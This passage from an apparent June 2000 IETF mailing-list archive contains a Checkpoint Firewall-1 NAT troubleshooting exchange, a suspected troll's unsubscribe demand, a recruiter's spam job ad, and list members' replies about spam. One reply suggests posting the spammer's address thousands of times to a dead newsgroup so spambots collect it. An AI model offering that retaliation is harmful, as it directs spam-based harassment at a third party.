  [mailto:noor@adtdc.co.ae]<BR><B>Sent:</B> Saturday, June 10, 2000 4:26 =

  AM<BR><B>To:</B> ietf@ietf.org<BR><B>Subject:</B> NAT Checkpoint =
Firewall=20
  1<BR><BR></DIV></FONT>
  <DIV><FONT face=3DArial size=3D2>Hi !</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Installed Checkpoint Firewall 1 with =
three=20
  Network Interface.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>One is connecting to the outside =
world, one to=20
  local-net and other to DMZ. (for Local-net and DMZ 192.168.xx.xx ip =
address=20
  has been used)</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>configured the workstation properties =
of the mail=20
  server using static NAT.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>i use the route add command on the =
fire wall=20
  machine for mapping the&nbsp;Private&nbsp; IP address of the mail =
server to=20
  Public one.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#ff0000 face=3DArial size=3D2>PROBLEM</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#ff0000 face=3DArial size=3D2>1)&nbsp;My mail =
server is on the=20
  Local-net From the firewall i cannot ping the mail server Private IP =
address=20
  (192.168.xx.xx), but i can ping the network interface connected to the =

  local-net on the firewall machine . i cannot even ping the =
Public&nbsp;IP=20
  address which i have map to the mail-srv.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#ff0000 face=3DArial size=3D2>2) My alternate DNS =
server is on=20
  the DMZ. which has an IP Address 192.168.xx.xx. i can ping the Private =
IP=20
  address of the DNS server but not the Public IP Address which is =
mapped using=20
  the static NAT Rule.I have configured Route ADD command for mapping =
Public to=20
  Private IP Address.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>
  <DIV><FONT color=3D#ff0000 face=3DArial size=3D2>3) On the Local-Net =
all&nbsp;the=20
  PC's are configured to surf the internet using HIDE Mode NAT to the =
External=20
  interface of the firewall its working fine.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV></FONT></DIV>
  <DIV><FONT color=3D#ff0000 face=3DArial size=3D2>If any one know where =
the problem=20
  is please let me know</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#ff0000 face=3DArial size=3D2>Thank =
You</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#ff0000 face=3DArial size=3D2>regards</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0002_01BFD31B.AF963DE0--



From owner-ietf-outbound  Mon Jun 12 07:31:59 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA28506
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 07:30:02 -0400 (EDT)
Received: from ralph.comsols4u.com (ralph.comsols4u.com [209.241.56.66])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28383
	for <ietf@ietf.org>; Mon, 12 Jun 2000 07:23:45 -0400 (EDT)
Received: from [24.28.18.98] (242818hfc98.tampabay.rr.com [24.28.18.98])
	by ralph.comsols4u.com (8.9.2/8.9.2) with ESMTP id HAA30609
	for <ietf@ietf.org>; Mon, 12 Jun 2000 07:23:27 -0400 (EDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 12 Jun 2000 07:14:45 -0500
Subject: remove me from list
From: Honey Rand <honey@comsols4u.com>
To: <ietf@ietf.org>
Message-ID: <B56A3E64.164C%honey@comsols4u.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I am on one of your e-mail lists. i promise i will NEVER buy anything from
you. Please remove me immediately or i will forward the e-mail to the
appropriate agency for pursuit as nuisance spam. This is the second request
I have made.



From owner-ietf-outbound  Mon Jun 12 09:50:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA02013
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 09:50:03 -0400 (EDT)
Received: from sumermail.sumerbank.com.tr ([212.175.28.199])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA01904
	for <ietf@ietf.org>; Mon, 12 Jun 2000 09:41:58 -0400 (EDT)
Received: from mailserver.sumerbank.com.tr ([212.175.28.67]) by sumermail.sumerbank.com.tr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id KRQ2J9R7; Mon, 12 Jun 2000 16:43:15 +0300
Received: by mailserver.sumerbank.com.tr with Internet Mail Service (5.5.2448.0)
	id <MYWMV1X7>; Mon, 12 Jun 2000 16:42:11 +0300
Message-ID: <2780B6C7FA25D211AAF700A0C96EAD5AFA7819@mailserver.sumerbank.com.tr>
From: "R.Ilker Gokhan" <IlkerG@SUMERBANK.COM.TR>
To: "'noor sayed'" <noor@adtdc.co.ae>
Cc: ietf@ietf.org
Subject: RE: NAT Checkpoint Firewall 1
Date: Mon, 12 Jun 2000 16:42:10 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD474.01F18104"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD474.01F18104
Content-Type: text/plain;
	charset="iso-8859-1"


>-----Original Message-----
>From: noor sayed [mailto:noor@adtdc.co.ae]
>Sent: Saturday, June 10, 2000 12:26 PM
>To: ietf@ietf.org
>Subject: NAT Checkpoint Firewall 1

>Installed Checkpoint Firewall 1 with three Network Interface.
>One is connecting to the outside world, one to local-net and other to DMZ.
(for Local-net and DMZ 192.168.xx.xx ip address has been >used)  

First, i think you shouldn't use the same ip address range both for your on
local-net and DMZ. 

>configured the workstation properties of the mail server using static NAT.
>i use the route add command on the fire wall machine for mapping the
Private  IP address of the mail server to Public one.

you don't need use the route command for routing. you can use FW-1's rule
for routing. Also, is ICMP feature on the FW-1 open? You can see it from
logs of FW. 


>PROBLEM

>1) My mail server is on the Local-net From the firewall i cannot ping the
mail server Private IP address (192.168.xx.xx), but i can ping >the network
interface connected to the local-net on the firewall machine . i cannot even
ping the Public IP address which i have map to the mail-srv.

Because when the FW-1 has ping, FW send this request to the outside because
of NAT. If your FW is on UNIX or Linux you can scan this situation with
"tcpdump". If you want to use NAT. You should create an "Address-range" into
the FW-1 that contains all of your clients. and write appropriate rule.

Best regards..
Ilker G.

------_=_NextPart_001_01BFD474.01F18104
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2448.0">
<TITLE>RE: NAT Checkpoint Firewall 1</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>&gt;-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt;From: noor sayed [<A =
HREF=3D"mailto:noor@adtdc.co.ae">mailto:noor@adtdc.co.ae</A>]</FONT>
<BR><FONT SIZE=3D2>&gt;Sent: Saturday, June 10, 2000 12:26 PM</FONT>
<BR><FONT SIZE=3D2>&gt;To: ietf@ietf.org</FONT>
<BR><FONT SIZE=3D2>&gt;Subject: NAT Checkpoint Firewall 1</FONT>
</P>

<P><FONT SIZE=3D2>&gt;Installed Checkpoint Firewall 1 with three =
Network Interface.</FONT>
<BR><FONT SIZE=3D2>&gt;One is connecting to the outside world, one to =
local-net and other to DMZ. (for Local-net and DMZ 192.168.xx.xx ip =
address has been &gt;used)&nbsp; </FONT></P>

<P><FONT SIZE=3D2>First, i think you shouldn't use the same ip address =
range both for your on local-net and DMZ. </FONT>
</P>

<P><FONT SIZE=3D2>&gt;configured the workstation properties of the mail =
server using static NAT.</FONT>
<BR><FONT SIZE=3D2>&gt;i use the route add command on the fire wall =
machine for mapping the Private&nbsp; IP address of the mail server to =
Public one.</FONT></P>

<P><FONT SIZE=3D2>you don't need use the route command for routing. you =
can use FW-1's rule for routing. Also, is ICMP feature on the FW-1 =
open? You can see it from logs of FW. </FONT></P>
<BR>

<P><FONT SIZE=3D2>&gt;PROBLEM</FONT>
</P>

<P><FONT SIZE=3D2>&gt;1) My mail server is on the Local-net From the =
firewall i cannot ping the mail server Private IP address =
(192.168.xx.xx), but i can ping &gt;the network interface connected to =
the local-net on the firewall machine . i cannot even ping the Public =
IP address which i have map to the mail-srv.</FONT></P>

<P><FONT SIZE=3D2>Because when the FW-1 has ping, FW send this request =
to the outside because of NAT. If your FW is on UNIX or Linux you can =
scan this situation with &quot;tcpdump&quot;. If you want to use NAT. =
You should create an &quot;Address-range&quot; into the FW-1 that =
contains all of your clients. and write appropriate rule.</FONT></P>

<P><FONT SIZE=3D2>Best regards..</FONT>
<BR><FONT SIZE=3D2>Ilker G.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BFD474.01F18104--



From owner-ietf-outbound  Mon Jun 12 11:20:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA03828
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 11:20:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03610
	for <ietf@ietf.org>; Mon, 12 Jun 2000 11:10:14 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5CFADL29196;
	Mon, 12 Jun 2000 11:10:13 -0400
Message-Id: <200006121510.e5CFADL29196@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.2 06/07/2000
To: Honey Rand <honey@comsols4u.com>
Cc: ietf@ietf.org
Subject: Re: remove me from list 
In-Reply-To: Your message of "Mon, 12 Jun 2000 07:14:45 CDT."
             <B56A3E64.164C%honey@comsols4u.com> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <B56A3E64.164C%honey@comsols4u.com>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-122629192P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 12 Jun 2000 11:10:13 -0400
X-Loop: ietf@ietf.org

--==_Exmh_-122629192P
Content-Type: text/plain; charset=us-ascii

On Mon, 12 Jun 2000 07:14:45 CDT, Honey Rand <honey@comsols4u.com>  said:
> I am on one of your e-mail lists. i promise i will NEVER buy anything from
> you. Please remove me immediately or i will forward the e-mail to the
> appropriate agency for pursuit as nuisance spam. This is the second request
> I have made.

The IETF sells stuff?  News to me... I thought we just had flame wars and
occasionally went into feline-emulation mode and cough up a hairb^H^H^H^H^HRFC.

(Are you sure that you aren't complaining about somebody who send spam to
the IETF mailing list?)
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_-122629192P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.1.2 06/07/2000

iQA/AwUBOUT9VHAt5Vm009ewEQI7wACgyTGfMZ4PjrxtmyU6fbpbNz4PLEcAoKbQ
TWdm/WHAfb6OHmjjbbfULza9
=0JyY
-----END PGP SIGNATURE-----

--==_Exmh_-122629192P--



From owner-ietf-outbound  Mon Jun 12 12:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA05140
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 12:00:03 -0400 (EDT)
Received: from genifw.geni-jobnet.com (genifw.geni-jobnet.com [38.156.60.132])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA04721
	for <ietf@ietf.org>; Mon, 12 Jun 2000 11:44:44 -0400 (EDT)
From: wfann@ejobs.com
Received: from mail.ejobs.com by genifw.geni-jobnet.com
          via smtpd (for odin.ietf.org [132.151.1.176]) with SMTP; 12 Jun 2000 15:38:55 UT
Received: by mail.ejobs.com with Internet Mail Service (5.5.2650.21)
	id <MVWJKAY5>; Mon, 12 Jun 2000 10:42:25 -0500
Message-ID: <E7F2953D03E1D111AA8800A0C99AB140014F4A40@mail.ejobs.com>
To: ietf@ietf.org
Subject: "Big 5" Company Nationwide:  B-2-B   e-Commerce Consultants & Pro
	grammers/Developers
Date: Mon, 12 Jun 2000 10:42:24 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



I am working for a "Big 5" consulting company.  We are currently seeking
skilled e-commerce professionals for immediate placement in fulltime
positions.  If you, or someone you know, would like to learn more
information about these unique opportunities simply attach your resume and
return it today.  If you prefer you can forward your phone number with a
convenient time for me to call.

Regards,

David Fann
eJobs, Inc.
972-934-2100 x 336
wfann@ejobs.com



From owner-ietf-outbound  Mon Jun 12 13:11:34 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA07055
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 13:10:02 -0400 (EDT)
Received: from torque.pothole.com ([38.138.52.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06878
	for <ietf@ietf.org>; Mon, 12 Jun 2000 13:02:05 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by torque.pothole.com (8.8.2/8.8.8) with SMTP id NAA01931;
	Mon, 12 Jun 2000 13:04:02 -0400 (EDT)
Message-Id: <200006121704.NAA01931@torque.pothole.com>
X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol
To: Valdis.Kletnieks@vt.edu
cc: ietf@ietf.org
Subject: Re: remove me from list 
In-reply-to: Your message of "Mon, 12 Jun 2000 11:10:13 EDT."
             <200006121510.e5CFADL29196@black-ice.cc.vt.edu> 
Date: Mon, 12 Jun 2000 13:04:02 -0400
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
X-Mts: smtp
X-Loop: ietf@ietf.org


Uhhh, can't you tell a message that's just a troll?  :-)

I, at least, am getting an ever increasing number of such messages and
I feel pretty sure they are just a slighltly more subtle way to get
you to respond so they can add you to their database of known good
emails to spam.

Donald

From:  Valdis.Kletnieks@vt.edu
Message-Id:  <200006121510.e5CFADL29196@black-ice.cc.vt.edu>
To:  Honey Rand <honey@comsols4u.com>
Cc:  ietf@ietf.org
In-Reply-To:  Your message of "Mon, 12 Jun 2000 07:14:45 CDT."
	                  <B56A3E64.164C%honey@comsols4u.com> 
X-Url:  http://black-ice.cc.vt.edu/~valdis/
X-Face:  34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
	 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#
-)
	 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References:  <B56A3E64.164C%honey@comsols4u.com>
Content-Type:  multipart/signed; boundary="==_Exmh_-122629192P";
	      	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding:  7bit
Date:  Mon, 12 Jun 2000 11:10:13 -0400
X-Loop:  ietf@ietf.org
>--==_Exmh_-122629192P
>Content-Type: text/plain; charset=us-ascii
>
>On Mon, 12 Jun 2000 07:14:45 CDT, Honey Rand <honey@comsols4u.com>  said:
>> I am on one of your e-mail lists. i promise i will NEVER buy anything from
>> you. Please remove me immediately or i will forward the e-mail to the
>> appropriate agency for pursuit as nuisance spam. This is the second request
>> I have made.
>
>The IETF sells stuff?  News to me... I thought we just had flame wars and
>occasionally went into feline-emulation mode and cough up a hairb^H^H^H^H^HRFC.
>
>(Are you sure that you aren't complaining about somebody who send spam to
>the IETF mailing list?)
>-- 
>				Valdis Kletnieks
>				Operating Systems Analyst
>				Virginia Tech
>
>
>--==_Exmh_-122629192P
>Content-Type: application/pgp-signature
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP 6.5.2
>Comment: Exmh version 2.1.2 06/07/2000
>
>iQA/AwUBOUT9VHAt5Vm009ewEQI7wACgyTGfMZ4PjrxtmyU6fbpbNz4PLEcAoKbQ
>TWdm/WHAfb6OHmjjbbfULza9
>=0JyY
>-----END PGP SIGNATURE-----
>
>--==_Exmh_-122629192P--
>



From owner-ietf-outbound  Mon Jun 12 14:00:34 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA07985
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 14:00:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07885
	for <ietf@ietf.org>; Mon, 12 Jun 2000 13:56:26 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5CHuLL26760;
	Mon, 12 Jun 2000 13:56:21 -0400
Message-Id: <200006121756.e5CHuLL26760@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.2 06/07/2000
To: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
Cc: ietf@ietf.org
Subject: Re: remove me from list 
In-Reply-To: Your message of "Mon, 12 Jun 2000 13:04:02 EDT."
             <200006121704.NAA01931@torque.pothole.com> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200006121704.NAA01931@torque.pothole.com>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1654752216P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 12 Jun 2000 13:56:20 -0400
X-Loop: ietf@ietf.org

--==_Exmh_1654752216P
Content-Type: text/plain; charset=us-ascii

On Mon, 12 Jun 2000 13:04:02 EDT, "Donald E. Eastlake 3rd" said:
> 
> Uhhh, can't you tell a message that's just a troll?  :-)
> 
> I, at least, am getting an ever increasing number of such messages and
> I feel pretty sure they are just a slighltly more subtle way to get
> you to respond so they can add you to their database of known good
> emails to spam.

Well, so far today I've already had at leeast 3-4 people who complained
to the Listserv administrator (me) about a list spamming them, when they
didn't understand it's a spammer nailing their list.

Obviously, I wasn't caffienated enough to distinguish the troll from
my user community. ;)
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



--==_Exmh_1654752216P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.1.2 06/07/2000

iQA/AwUBOUUkRHAt5Vm009ewEQI6HwCeI4FiRGsCyTaRpTfKlQAnsAPo41gAoOSp
4tG/xWyu2wAkvhXMF/RkHFsM
=nyVA
-----END PGP SIGNATURE-----

--==_Exmh_1654752216P--



From owner-ietf-outbound  Mon Jun 12 14:10:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA08303
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 14:10:03 -0400 (EDT)
Received: from shell.servuhome.net (IDENT:root@dsl-208-161-103-32.easystreet.com [208.161.103.32])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07903
	for <ietf@ietf.org>; Mon, 12 Jun 2000 13:57:27 -0400 (EDT)
Received: from weberfamily (pm09-s1-tier1.evansville.net [204.120.29.2])
	by shell.servuhome.net (8.10.1/8.8.7) with SMTP id e5CHuwS18965;
	Mon, 12 Jun 2000 10:56:59 -0700
Message-ID: <000f01bfd497$b459d6c0$021d78cc@weberfamily>
From: "Kurt Weber" <kurt@servuhome.net>
To: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
Cc: <ietf@ietf.org>
References: <200006121704.NAA01931@torque.pothole.com>
Subject: Re: remove me from list 
Date: Mon, 12 Jun 2000 12:57:39 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

To be perfectly honest, I think we're just dealing with someone who just
doesn't know what they're talking about.  Probably an AOLuser.

Regards,
Kurt Weber
kurt@rowsw.com
ROOT of All Evil (ask me for details)
LONG LIVE LINUX! KILL WINBLOWS!
God of local.linux-isp and alt.syntax.tactical

----- Original Message -----
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
To: <Valdis.Kletnieks@vt.edu>
Cc: <ietf@ietf.org>
Sent: Monday, June 12, 2000 12:04 PM
Subject: Re: remove me from list


>
> Uhhh, can't you tell a message that's just a troll?  :-)
>
> I, at least, am getting an ever increasing number of such messages and
> I feel pretty sure they are just a slighltly more subtle way to get
> you to respond so they can add you to their database of known good
> emails to spam.
>
> Donald
>
> From:  Valdis.Kletnieks@vt.edu
> Message-Id:  <200006121510.e5CFADL29196@black-ice.cc.vt.edu>
> To:  Honey Rand <honey@comsols4u.com>
> Cc:  ietf@ietf.org
> In-Reply-To:  Your message of "Mon, 12 Jun 2000 07:14:45 CDT."
>                   <B56A3E64.164C%honey@comsols4u.com>
> X-Url:  http://black-ice.cc.vt.edu/~valdis/
> X-Face:
34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
>
^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#
> -)
> %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
> References:  <B56A3E64.164C%honey@comsols4u.com>
> Content-Type:  multipart/signed; boundary="==_Exmh_-122629192P";
>       micalg=pgp-sha1; protocol="application/pgp-signature"
> Content-Transfer-Encoding:  7bit
> Date:  Mon, 12 Jun 2000 11:10:13 -0400
> X-Loop:  ietf@ietf.org
> >--==_Exmh_-122629192P
> >Content-Type: text/plain; charset=us-ascii
> >
> >On Mon, 12 Jun 2000 07:14:45 CDT, Honey Rand <honey@comsols4u.com>  said:
> >> I am on one of your e-mail lists. i promise i will NEVER buy anything
from
> >> you. Please remove me immediately or i will forward the e-mail to the
> >> appropriate agency for pursuit as nuisance spam. This is the second
request
> >> I have made.
> >
> >The IETF sells stuff?  News to me... I thought we just had flame wars and
> >occasionally went into feline-emulation mode and cough up a
hairb^H^H^H^H^HRFC.
> >
> >(Are you sure that you aren't complaining about somebody who send spam to
> >the IETF mailing list?)
> >--
> > Valdis Kletnieks
> > Operating Systems Analyst
> > Virginia Tech
> >
> >
> >--==_Exmh_-122629192P
> >Content-Type: application/pgp-signature
> >
> >-----BEGIN PGP SIGNATURE-----
> >Version: PGP 6.5.2
> >Comment: Exmh version 2.1.2 06/07/2000
> >
> >iQA/AwUBOUT9VHAt5Vm009ewEQI7wACgyTGfMZ4PjrxtmyU6fbpbNz4PLEcAoKbQ
> >TWdm/WHAfb6OHmjjbbfULza9
> >=0JyY
> >-----END PGP SIGNATURE-----
> >
> >--==_Exmh_-122629192P--
> >
>



From owner-ietf-outbound  Mon Jun 12 15:10:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA09149
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 15:10:02 -0400 (EDT)
Received: from mail.nbn.net (root@nbn.net [207.51.86.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09074
	for <ietf@ietf.org>; Mon, 12 Jun 2000 15:03:54 -0400 (EDT)
Received: from server-1 (dial2-63.nbn.net [208.139.67.105])
	by mail.nbn.net (8.9.3/8.9.3) with SMTP id PAA23272
	for <ietf@ietf.org>; Mon, 12 Jun 2000 15:03:53 -0400
Message-ID: <394536E0.560B@nbn.net>
Date: Mon, 12 Jun 2000 15:15:44 -0400
From: Betsy Brennan <bbrennan@nbn.net>
Reply-To: bbrennan@nbn.net
X-Mailer: Mozilla 3.04 (Win95; U)
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: "Big 5" Company  SPAMMING
References: <E7F2953D03E1D111AA8800A0C99AB140014F4A40@mail.ejobs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

wfann@ejobs.com wrote:
> 
> Regards,
> 
> David Fann
> eJobs, Inc.
> wfann@ejobs.com

How about this one? Everyone want to send a not interested email to
them, so they'll know this is not the place for their advertising?



From owner-ietf-outbound  Mon Jun 12 15:30:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA09452
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 15:30:03 -0400 (EDT)
Received: from ex1.clearaccess.net ([204.214.6.251])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09344
	for <ietf@ietf.org>; Mon, 12 Jun 2000 15:20:43 -0400 (EDT)
Received: by EX1 with Internet Mail Service (5.5.1960.3)
	id <MRRKWJX0>; Mon, 12 Jun 2000 15:15:45 -0400
Message-ID: <818BD117E43BD4118A7A0008C7CF9C3102BD5D@EX1>
From: Scot Mc Pherson <smcpherson@clearaccess.net>
To: ietf@ietf.org
Subject: RE: "Big 5" Company  SPAMMING
Date: Mon, 12 Jun 2000 15:15:43 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
X-Loop: ietf@ietf.org

Actually replying to spam just informs the spammers they have good
addresses...plus since the e-mailed the list, they don't have your
individual e-mail addresses, but they will if you respond to them.


-Scot Mc Pherson
-N2UPA
-RF Engineer
-ClearAccess Communications
-http://www.clearaccess.net
-mailto:smcpherson@clearaccess.net 

-----Original Message-----
From: Betsy Brennan [mailto:bbrennan@NBN.NET]
Sent: Monday, June 12, 2000 3:16 PM
To: ietf@ietf.org
Subject: Re: "Big 5" Company SPAMMING


wfann@ejobs.com wrote:
> 
> Regards,
> 
> David Fann
> eJobs, Inc.
> wfann@ejobs.com

How about this one? Everyone want to send a not interested email to
them, so they'll know this is not the place for their advertising?



From owner-ietf-outbound  Mon Jun 12 15:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA09697
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 15:40:02 -0400 (EDT)
Received: from shell.servuhome.net (IDENT:root@dsl-208-161-103-32.easystreet.com [208.161.103.32])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09362
	for <ietf@ietf.org>; Mon, 12 Jun 2000 15:21:05 -0400 (EDT)
Received: from weberfamily (pm09-s1-tier1.evansville.net [204.120.29.2])
	by shell.servuhome.net (8.10.1/8.8.7) with SMTP id e5CJKhS29468
	for <ietf@ietf.org>; Mon, 12 Jun 2000 12:20:44 -0700
Message-ID: <001c01bfd4a3$66bec7c0$021d78cc@weberfamily>
From: "Kurt Weber" <kurt@servuhome.net>
To: <ietf@ietf.org>
Subject: Re: "Big 5" Company  SPAMMING
Date: Mon, 12 Jun 2000 14:21:23 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Better yet, make a post to a newsgroup that no one uses anymore that
contains the email address a few thousand times.  Can we say Spambot Heaven?

Regards,
Kurt Weber
ROW Software and Web Design
http://www.rowsw.com
kurt@rowsw.com


----- Original Message -----
From: "Betsy Brennan" <bbrennan@NBN.NET>
To: <ietf@ietf.org>
Sent: Monday, June 12, 2000 2:15 PM
Subject: Re: "Big 5" Company SPAMMING


> wfann@ejobs.com wrote:
> >
> > Regards,
> >
> > David Fann
> > eJobs, Inc.
> > wfann@ejobs.com
>
> How about this one? Everyone want to send a not interested email to
> them, so they'll know this is not the place for their advertising?
>




From owner-ietf-outbound  Mon Jun 12 16:00:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA10000
